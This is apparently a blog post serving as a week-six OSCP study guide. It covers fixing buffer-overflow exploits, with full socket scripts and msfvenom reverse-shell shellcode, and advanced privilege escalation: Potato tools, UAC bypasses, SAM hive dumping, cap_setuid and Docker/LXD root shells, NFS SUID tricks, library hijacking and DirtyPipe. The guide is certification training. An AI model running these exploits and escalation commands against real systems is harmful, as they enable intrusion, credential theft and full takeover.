Post

Understanding & Fixing Exploits, Privilege Escalation (Part 2)

WEEK 6 Understanding & Fixing Exploits, Privilege Escalation (Part 2)

Understanding & Fixing Exploits, Privilege Escalation (Part 2)

Week 6: Understanding & Fixing Exploits, Privilege Escalation (Part 2)

OSCP / PEN-200 Study Plan — Complete Detail Guide


Overview

Week 6 builds directly on Weeks 4 and 5. The first half returns to exploit adaptation — this time with greater depth on debugging, offset calculation, and making exploits work against targets that differ from the original PoC environment. The second half advances privilege escalation beyond the introductory vectors, covering token impersonation, Active Directory-adjacent Windows techniques, and deeper Linux exploitation paths including capabilities, NFS misconfigurations, and writable library hijacking. Reference material covers PEN-200 pages 428 to 471.

Core Theme: Week 4 taught you to find and modify exploits. Week 6 teaches you to debug them when they fail — and to escalate privileges through paths that automated tools flag but do not explain.


Learning Objectives

By the end of Week 6, you should be able to:

  • Systematically debug a non-functional exploit and identify the root cause of failure
  • Calculate EIP offsets manually and verify them against a live target
  • Identify and eliminate bad characters from shellcode
  • Locate reliable JMP ESP addresses in a target binary or loaded DLL
  • Perform token impersonation on Windows to escalate from service accounts to SYSTEM
  • Abuse Windows capabilities including SeBackupPrivilege and SeRestorePrivilege
  • Exploit Linux capabilities, writable shared libraries, and NFS no_root_squash
  • Escalate via Docker and LXD group membership on Linux
  • Troubleshoot common failure points in both exploit delivery and privilege escalation

Part 1: Understanding and Fixing Exploits (Advanced)


The Exploit Debugging Workflow

When a public exploit fails to produce a shell, work through this sequence methodically rather than making random changes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Step 1: Confirm the target is actually vulnerable
        — Verify software version matches the CVE's affected range
        — Check patch level (systeminfo, rpm -qa, dpkg -l)

Step 2: Confirm network connectivity
        — Can the exploit reach the target port?
        — Is there a firewall filtering the callback port?
        — Test with nc -zv <target_ip> <port>

Step 3: Confirm architecture match
        — Is the exploit 32-bit targeting a 64-bit process?
        — file exploit.exe / uname -m / systeminfo

Step 4: Confirm shellcode is correct
        — Does the LHOST and LPORT match your listener?
        — Did you regenerate shellcode or use the original?

Step 5: Confirm the offset is correct
        — Does the EIP value in a crash match what the exploit expects?
        — Use Metasploit pattern tools to verify

Step 6: Confirm no bad characters are breaking the payload
        — Does the shellcode contain bytes the application strips?

Step 7: Confirm the return address works on this specific target
        — The JMP ESP address from the original PoC may not exist here
        — Find a valid address in a locally loaded module

Stack-Based Buffer Overflow — Full Manual Workflow

This workflow applies to Windows stack overflow exploits — the most common type on OSCP.


Step 1 — Fuzzing to Find the Crash Point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import socket, sys

target_ip = "<target_ip>"
target_port = 9999

# Send increasingly large buffers until the application crashes
for size in range(100, 5000, 100):
    try:
        buffer = b"A" * size
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(b"OVERFLOW1 " + buffer + b"\r\n")
        s.recv(1024)
        s.close()
        print(f"Sent {size} bytes — no crash")
    except:
        print(f"Crashed at approximately {size} bytes")
        sys.exit()

Step 2 — Finding the Exact EIP Offset

1
2
3
4
5
# Generate a unique cyclic pattern (use the approximate crash size + buffer)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

# Or with msf-pattern_create (newer Kali)
msf-pattern_create -l 2500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
import socket

target_ip = "<target_ip>"
target_port = 9999

# Paste the cyclic pattern here
pattern = b"Aa0Aa1Aa2Aa3..."   # full pattern from pattern_create

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"OVERFLOW1 " + pattern + b"\r\n")
s.recv(1024)
s.close()
1
2
3
4
# After crash — read the EIP value from the debugger (e.g. 386F4337)
# Calculate the exact offset
msf-pattern_offset -l 2500 -q 386F4337
# Output: [*] Exact match at offset 1978

Step 3 — Confirm EIP Control

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket

offset = 1978
# Fill buffer up to EIP, overwrite EIP with BBBB, add Cs after
buffer = b"A" * offset + b"B" * 4 + b"C" * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<target_ip>", 9999))
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()

# In debugger: EIP should show 42424242 (BBBB)
# ESP should point into the C block

Step 4 — Identifying Bad Characters

Bad characters are bytes that the application modifies, strips, or terminates on — they corrupt shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Full bad character test string (all bytes 0x01 through 0xFF)
badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = b"A" * offset + b"B" * 4 + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<target_ip>", 9999))
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()

# In debugger: right-click ESP -> Follow in Dump
# Scroll through the hex dump looking for where the sequence breaks
# The byte BEFORE the break is a bad character
# Remove it and repeat until the full sequence is intact

Using mona.py in Immunity Debugger to automate bad char comparison:

1
2
3
4
5
6
7
# In Immunity Debugger command bar:
!mona config -set workingfolder C:\mona\%p
!mona bytearray -b "\x00"
# After sending bad char buffer:
!mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP_address>
# mona will highlight differing bytes — these are bad characters
# Remove them, regenerate bytearray with -b "\x00\x0a" etc., repeat

Step 5 — Finding a JMP ESP Return Address

The return address overwrites EIP and redirects execution to your shellcode on the stack.

1
2
3
4
5
Requirements:
- The address must contain a JMP ESP (opcode \xff\xe4) instruction
- The address must NOT contain any bad characters
- The module containing the address should have ASLR and SafeSEH disabled
  (look for modules compiled without these protections)
1
2
3
4
5
6
7
8
9
# In Immunity Debugger with mona:
!mona jmp -r esp -cpb "\x00\x0a\x0d"

# mona searches all loaded modules for JMP ESP instructions
# that do not contain the specified bad characters
# Results are saved to C:\mona\<appname>\jmp.txt

# Verify: double-click the address in mona output
# Confirm the instruction shown is JMP ESP (FFE4)
1
2
3
4
5
6
7
# In the exploit — write the address in little-endian format
# Example: address 0x625011AF becomes \xAF\x11\x50\x62

import struct
jmp_esp = struct.pack("<I", 0x625011AF)

buffer = b"A" * offset + jmp_esp + b"\x90" * 16 + shellcode

Step 6 — Generating Clean Shellcode and Assembling the Exploit

1
2
3
4
5
6
7
# Generate shellcode excluding all confirmed bad characters
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f python -b "\x00\x0a\x0d" \
  EXITFUNC=thread

# EXITFUNC=thread prevents the application from crashing after shell exits
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
import socket, struct

target_ip = "<target_ip>"
target_port = 9999
lhost = "<your_ip>"
lport = 4444

offset = 1978
jmp_esp = struct.pack("<I", 0x625011AF)   # little-endian return address
nop_sled = b"\x90" * 16                   # NOP sled — gives shellcode room to land

# Paste msfvenom python output here
shellcode = b""
shellcode += b"\xdb\xc0\xb8..."           # truncated — paste full output

buffer = b"A" * offset + jmp_esp + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()

print("Payload sent. Check your listener.")

Adapting Python 2 Exploits to Python 3

A significant portion of Exploit-DB entries are written for Python 2. The most common breaking changes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Print statements
print "hello"               # Python 2
print("hello")              # Python 3

# String vs bytes — most critical change for network exploits
s.send("data")              # Python 2 — string is bytes
s.send(b"data")             # Python 3 — must be explicit bytes

# urllib changes
import urllib2              # Python 2
import urllib.request        # Python 3

urllib2.urlopen(url)        # Python 2
urllib.request.urlopen(url) # Python 3

# Raw input
raw_input("Enter: ")        # Python 2
input("Enter: ")            # Python 3

# Integer division
5 / 2 = 2                  # Python 2
5 / 2 = 2.5                # Python 3 — use 5 // 2 for integer division

# Exception syntax
except Exception, e:        # Python 2
except Exception as e:      # Python 3

# Encoding strings to bytes
"string".encode("utf-8")    # Converts str to bytes in Python 3
b"string".decode("utf-8")   # Converts bytes to str in Python 3

Common Exploit Troubleshooting Reference

SymptomLikely CauseFix
Application crashes but no shellBad chars in shellcodeRe-identify bad chars, regenerate payload
EIP not overwritten correctlyWrong offsetRecalculate with pattern_offset
Shell connects then immediately diesEXITFUNC wrongUse EXITFUNC=thread
Exploit runs but nothing happensWrong architectureVerify 32-bit vs 64-bit
Connection refusedService not running or wrong portConfirm with nmap -sV
Payload truncatedApplication has a size limitReduce shellcode size, use staged payload
Shell spawns as wrong userExploit doesn’t run as target service userCheck what user the service runs as
Python errors on importPython 2 exploit on Python 3Port to Python 3
Segfault on compiled C exploitMissing library or wrong archCheck with ldd, recompile
JMP ESP address contains bad charSelected address is unusableFind alternate JMP ESP in mona output

Part 2: Windows Privilege Escalation (Advanced)


Token Impersonation

Windows security tokens represent the identity and privileges of a running process. Service accounts running network-facing services (IIS, SQL Server) often hold SeImpersonatePrivilege, which allows them to impersonate any token they can obtain — including SYSTEM tokens.

Check for impersonation privileges:

whoami /priv
:: Look for:
:: SeImpersonatePrivilege    Enabled
:: SeAssignPrimaryTokenPrivilege   Enabled

If SeImpersonatePrivilege is present — use a Potato exploit:

ToolBest Used WhenNotes
PrintSpooferWindows 10, Server 2016/2019Most reliable on modern systems
GodPotatoWindows Server 2012-2022Broadest compatibility
JuicyPotatoWindows Server 2008-2016Requires a usable CLSID
RoguePotatoWindows Server 2019When JuicyPotato fails
SweetPotatoMultiple OSCombines several potato techniques
:: PrintSpoofer — simplest modern approach
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "C:\Temp\shell.exe"

:: GodPotato
GodPotato.exe -cmd "C:\Temp\shell.exe"

:: JuicyPotato (requires CLSID for the OS version)
:: Find CLSIDs: https://github.com/ohpe/juicy-potato/tree/master/CLSID
JuicyPotato.exe -l 9999 -p C:\Temp\shell.exe -t * -c {CLSID}

Token impersonation with Incognito (Metasploit / standalone):

1
2
3
4
5
# In a Meterpreter session:
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid

Abusing Windows Privileges

Certain privileges beyond SeImpersonatePrivilege can also lead directly to SYSTEM.

SeBackupPrivilege — Read any file including SAM and SYSTEM hives:

:: Enable the privilege in the session
:: Use diskshadow or robocopy to read protected files

:: Method 1 — diskshadow to copy SAM and SYSTEM
diskshadow.exe
  set context persistent nowriters
  add volume c: alias pwn
  create
  expose %pwn% z:
  exit

robocopy /b z:\windows\system32\config\ C:\Temp SAM SYSTEM

:: Exfiltrate SAM and SYSTEM to Kali, then extract hashes
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

SeRestorePrivilege — Write to any file including service binaries:

:: Can overwrite any file the OS owns
:: Replace a service binary with your payload
:: Then restart the service

SeTakeOwnershipPrivilege — Take ownership of any object:

:: Take ownership of a protected file
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <username>:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
:: Trigger at login screen: Windows + U

UAC Bypass

UAC (User Account Control) prompts for elevation even when logged in as a local administrator. Several techniques bypass this without triggering a prompt.

fodhelper.exe bypass (Windows 10):

:: fodhelper.exe is an auto-elevated binary that reads from HKCU
:: Write a malicious command to the registry key it checks

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Temp\shell.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe

eventvwr.exe bypass:

reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\Temp\shell.exe" /f
eventvwr.exe

Automated UAC bypass check:

1
2
3
4
5
# PowerUp check for UAC level
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
# 0 = no prompt (bypass not needed)
# 2 = prompt for credentials
# 5 = prompt for consent (default — bypassable)

Registry-Based Escalation

AutoRuns — programs set to run at login:

:: List autorun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

:: Check if the binary is writable
icacls "C:\path\to\autorun\binary.exe"

:: If writable — replace with payload, wait for admin to log in

PowerUp — Registry checks:

1
2
Get-RegistryAlwaysInstallElevated
Get-ModifiableRegistryAutoRun

Stored Credentials and Password Mining

:: Search for passwords in common config files
findstr /si password *.txt *.xml *.ini *.config
findstr /si passwd *.txt *.xml *.ini
findstr /spin "password" C:\*.* 2>nul

:: Windows Credential Manager
cmdkey /list

:: Unattend.xml — contains base64-encoded admin passwords from OS installs
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\sysprep\sysprep.xml

:: SAM database (requires SYSTEM or backup privilege)
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
:: Exfiltrate and crack with impacket-secretsdump or samdump2

:: PowerShell history — may contain commands with credentials
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: IIS configuration — web application credentials
type C:\inetpub\wwwroot\web.config | findstr /i "password connectionString"

Part 3: Linux Privilege Escalation (Advanced)


Linux Capabilities

Capabilities grant specific elevated privileges to binaries without making them full SUID. Misconfigured capabilities are a clean escalation path.

1
2
3
4
5
6
7
# Find all binaries with capabilities set
getcap -r / 2>/dev/null

# Dangerous capabilities to look for:
# cap_setuid+ep  — can set UID to 0 (root)
# cap_net_raw+ep — raw socket access
# cap_dac_override+ep — bypass file permission checks

Exploiting cap_setuid:

1
2
3
4
5
6
7
8
9
10
11
# Example: python3 has cap_setuid+ep set
/usr/bin/python3 = cap_setuid+ep

# Exploit — set UID to 0 and spawn root shell
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: perl has cap_setuid+ep
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# Example: vim has cap_setuid+ep
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'

Exploiting cap_dac_override:

1
2
3
4
5
6
7
8
9
# Can read/write any file regardless of permissions
# Example: node.js has cap_dac_override+ep

# Read /etc/shadow
node -e 'var fs = require("fs"); console.log(fs.readFileSync("/etc/shadow", "utf8"));'

# Write to /etc/passwd — add root user
node -e 'var fs = require("fs"); fs.appendFileSync("/etc/passwd", "hacker::0:0:root:/root:/bin/bash\n");'
su hacker

NFS No_Root_Squash

When an NFS share is configured with no_root_squash, a remote root user can mount the share and create SUID binaries that execute as root on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# On target — check NFS exports
cat /etc/exports
showmount -e localhost

# Vulnerable entry looks like:
# /shared *(rw,no_root_squash)
# no_root_squash means the remote root is treated as root on this share

# On your Kali machine (as root):
# Mount the NFS share
mkdir /tmp/nfsmount
mount -t nfs <target_ip>:/shared /tmp/nfsmount

# Create a SUID bash copy on the share
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash

# On target — execute the SUID binary
/shared/rootbash -p
whoami   # root

Docker Group Membership

If your user is in the docker group, you can mount the host filesystem into a container and read or write any file as root.

1
2
3
4
5
6
7
8
9
10
11
12
# Check group membership
id | grep docker
groups | grep docker

# If docker group — mount host root filesystem into a container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Now you have a root shell with the host filesystem at /
# From here:
cat /etc/shadow
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
# Or add your SSH key to /root/.ssh/authorized_keys

LXD/LXC Group Membership

Similar to Docker — LXD group membership allows container creation with host filesystem access.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Check for lxd group
id | grep lxd

# If present — import a pre-built Alpine image and mount host filesystem
# On Kali: download Alpine LXD image from GitHub (lxd-alpine-builder)
# Transfer the .tar.gz to the target

# On target:
lxc image import alpine.tar.gz --alias pwn
lxc init pwn ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

# Inside the container — host filesystem is at /mnt/root
ls /mnt/root/root/
cat /mnt/root/etc/shadow

Writable Shared Library Hijacking

If a SUID binary or a binary run by root loads a shared library from a directory you can write to, you can substitute the library with a malicious one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Check what libraries a binary loads
ldd /usr/local/bin/suid_binary

# Check if any library paths are writable
ls -la /usr/local/lib/

# Check LD_LIBRARY_PATH (sometimes set insecurely in scripts)
cat /etc/environment
cat /etc/profile

# If a library path is writable — create a malicious replacement
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /writable/path/libtarget.so /tmp/evil.c
# Run the SUID binary — it loads your library and executes the constructor
/usr/local/bin/suid_binary

Weak File Permissions on Sensitive Files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Check permissions on /etc/passwd — can you write?
ls -la /etc/passwd
stat /etc/passwd

# Check permissions on /etc/shadow — can you read?
ls -la /etc/shadow

# Check permissions on sudoers
ls -la /etc/sudoers
ls -la /etc/sudoers.d/

# Check SSH private keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
ls -la ~/.ssh/

# Check for world-readable /root directory
ls -la /root/

# Find files owned by root but writable by others
find / -user root -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Kernel Exploits (Identification and Controlled Use)

Kernel exploits are used as a last resort — they can crash the system. Always try other vectors first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Identify kernel version
uname -r
uname -a
cat /proc/version

# Use Linux Exploit Suggester to match kernel to CVEs
./les.sh

# Common notable kernel exploits (know what they target):
# DirtyPipe  CVE-2022-0847  Linux 5.8-5.16  — write to read-only files
# DirtyCow   CVE-2016-5195  Linux 2.6.22-4.8 — write to read-only mappings
# Overlayfs  CVE-2023-0386  Ubuntu kernels   — SUID file creation

# Example — DirtyPipe (if kernel is in range)
# Download, compile, and run against a writable SUID binary
gcc -o dirtypipe dirtypipe.c
./dirtypipe /usr/bin/su   # modifies the binary temporarily to spawn root shell

Troubleshooting Common Failures

Exploit Troubleshooting (Quick Reference)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Shell spawns but dies immediately:
  — Check EXITFUNC: use thread instead of process
  — Check if AV killed the shell process
  — Try a staged payload (windows/shell/reverse_tcp) vs stageless

Exploit sends but no connection received:
  — Confirm listener is running before sending exploit
  — Confirm LHOST is your correct interface IP (not 127.0.0.1)
  — Check firewall on both ends (iptables -L, Windows Firewall)
  — Try a different LPORT (443, 80 are often allowed outbound)

Offset seems right but shell doesn't fire:
  — Check the NOP sled is large enough (at least 16 bytes)
  — Verify the JMP ESP address is correct for this specific target
  — Confirm no additional bad chars were missed

Python exploit crashes on run:
  — Check Python version compatibility
  — Look for missing modules: pip install <module>
  — Check for byte vs string issues in socket operations

Privilege Escalation Troubleshooting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
WinPEAS/LinPEAS finds nothing obvious:
  — Run manual commands — automated tools miss context-specific issues
  — Check for credential reuse: try found passwords on other services
  — Look for internal services (netstat) not visible externally
  — Check for non-standard SUID binaries or unusual scheduled tasks
  — Review bash/PowerShell history for credentials

Potato exploit fails:
  — Confirm SeImpersonatePrivilege is Enabled (not just listed)
  — Try a different potato variant for the OS version
  — Ensure the payload architecture matches the OS (x64 on Server 2019)

Token impersonation gives error:
  — Confirm you are running in a context that holds the privilege
  — Some privileges require a high-integrity process — check integrity level

NFS mount fails from Kali:
  — Confirm nfs-common is installed: apt install nfs-common
  — Try specifying NFS version: mount -t nfs -o vers=3

Docker/LXD fails:
  — Confirm group membership applies to current session: newgrp docker
  — Log out and back in if group was recently added

Practice Resources

OffSec PEN-200 Labs (Pages 428-471)

ModuleFocus Area
Understanding and Fixing ExploitsOffset calculation, bad chars, JMP ESP, shellcode
Windows Privilege Escalation (advanced)Token impersonation, stored credentials, UAC bypass
Linux Privilege Escalation (advanced)Capabilities, NFS, Docker/LXD, library hijacking

MachineOSPrimary Technique
authbyWindowsExploit adaptation + service privesc
nickelWindowsToken impersonation (SeImpersonatePrivilege)
bratarinaLinuxExploit modification, buffer overflow
lolyLinuxCapabilities or Docker group
banzaiLinuxNFS no_root_squash or SUID
heistWindowsCredential mining + UAC bypass

Hack The Box and TryHackMe

PlatformFocusRecommended
TryHackMeBuffer overflow“Buffer Overflow Prep” room — highly recommended for OSCP
TryHackMeWindows privesc“Windows PrivEsc” room
TryHackMeLinux privesc“Linux PrivEsc” room
Hack The BoxToken impersonationMachines with IIS or MSSQL foothold
Hack The BoxNFS/DockerLinux machines tagged with “container”

Key References

ResourcePurpose
github.com/stephenbradshaw/vulnserverPractice buffer overflow target (Windows)
gtfobins.github.ioLinux capability and SUID abuse payloads
lolbas-project.github.ioWindows living-off-the-land binary abuse
github.com/ohpe/juicy-potato/CLSIDJuicyPotato CLSID list by OS version
exploit-db.com/docs/english/44560-linux-kernel-exploitation.pdfKernel exploit methodology

Suggested Daily Schedule (7-Day Breakdown)

DayFocusHours
Day 1Buffer overflow workflow — fuzzing, offset, EIP control4-5 hrs
Day 2Bad character identification, JMP ESP, final exploit assembly4-5 hrs
Day 3Python 2 to 3 porting + exploit troubleshooting lab3-4 hrs
Day 4Windows advanced privesc — token impersonation, UAC bypass, credential mining4-5 hrs
Day 5Linux advanced privesc — capabilities, NFS, Docker/LXD, library hijacking4-5 hrs
Day 6Proving Ground labs: nickel, bratarina, loly5-6 hrs
Day 7TryHackMe Buffer Overflow Prep + review and notes consolidation4-5 hrs

Week 6 Checklist

Exploit Fixing

  • Completed the full buffer overflow workflow manually — fuzz, offset, bad chars, JMP ESP, shellcode
  • Used mona.py to identify bad characters and locate a valid JMP ESP address
  • Ported a Python 2 exploit to Python 3 and confirmed it works
  • Diagnosed a failing exploit using the systematic troubleshooting workflow
  • Assembled a complete working exploit with NOP sled and msfvenom shellcode

Windows Privilege Escalation (Advanced)

  • Confirmed SeImpersonatePrivilege and escalated to SYSTEM using PrintSpoofer or GodPotato
  • Read the SAM database using SeBackupPrivilege
  • Bypassed UAC using fodhelper.exe registry technique
  • Found stored credentials in Unattend.xml, PowerShell history, or config files
  • Exploited a writable AutoRun registry entry

Linux Privilege Escalation (Advanced)

  • Found a binary with cap_setuid and escalated to root
  • Identified NFS no_root_squash and created a SUID binary via mounted share
  • Escalated via Docker group membership by mounting host filesystem
  • Exploited a writable shared library loaded by a SUID binary
  • Identified the running kernel version and matched it against exploit suggester output

Labs

  • Completed at least one Proving Ground lab requiring exploit modification
  • Completed at least one lab using token impersonation
  • Completed the TryHackMe Buffer Overflow Prep room

Key Takeaways

  1. Buffer overflow exploitation is a process, not a guess — work through each step in order and do not skip verification stages.
  2. A missing or incorrect bad character will silently break your shellcode — patience during this step saves hours later.
  3. SeImpersonatePrivilege on a Windows service account is almost always a straight path to SYSTEM — know your potato variants.
  4. Linux capabilities are frequently overlooked by beginners but appear in OSCP labs regularly — getcap -r / should be habit.
  5. NFS no_root_squash is a one-command root if you have access to a Kali machine with root — fast and reliable.
  6. Docker and LXD group membership are effectively root-equivalent — they belong in your first-pass enumeration.
  7. Credential reuse between services is one of the highest-yield lateral movement and escalation techniques in OSCP labs.

_Plan prepared for OSCP / PEN-200 Week 6Exploit Debugging and Adaptation → Advanced Windows Privilege Escalation → Advanced Linux Privilege Escalation_

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.